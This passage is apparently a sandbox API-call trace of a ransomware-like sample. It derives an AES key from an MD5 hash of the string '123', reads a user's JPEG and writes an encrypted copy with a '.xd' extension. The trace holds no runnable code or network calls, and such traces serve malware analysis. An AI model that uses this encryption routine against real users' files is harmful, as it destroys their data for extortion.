lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.754] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.754] CryptCreateHash (in: hProv=0x17a9e78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629420, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.767] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.767] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.768] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.768] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621630, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.768] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.768] CryptHashData (hHash=0x164c8b0, pbData=0x1629420, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.768] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.768] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.768] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.768] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.768] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.768] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.769] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.769] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621810, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.769] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.769] CryptDeriveKey (in: hProv=0x17a9e78, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0060.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.769] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.769] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.769] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.770] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.770] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0060.770] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.770] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\bpy7.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.771] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.771] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.771] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.771] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.771] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.771] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq")) returned 0x10 [0060.771] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\bpy7.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.772] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.772] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.772] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.772] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.775] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.775] ReadFile (in: hFile=0x3bc, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x1f28, lpOverlapped=0x0) returned 1 [0060.776] ReadFile (in: hFile=0x3bc, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.779] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.779] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.779] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.779] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.780] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.780] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.780] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.780] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.780] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.780] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.780] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.780] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.780] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.780] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.781] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.781] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x16293a0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293a0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.781] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.781] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.781] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.781] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.781] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.781] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.781] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.781] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.781] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.781] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.782] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.782] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.782] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.782] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.782] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.782] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.782] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.782] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.782] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.783] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.783] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.783] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.783] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1f28, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x1f30) returned 1 [0060.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.783] CharLowerBuffW (in: lpsz="byte[7985]", cchLength=0xa | out: lpsz="byte[7985]") returned 0xa [0060.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.784] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.784] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.784] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621978, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.784] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.784] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e4980*, pdwDataLen=0x130e618*=0x1f28, dwBufLen=0x1f30 | out: pbData=0x17e4980*, pdwDataLen=0x130e618*=0x1f30) returned 1 [0060.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.786] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.786] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.786] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.786] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.786] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.786] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.786] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.786] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.786] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.786] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.786] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.786] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.787] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) 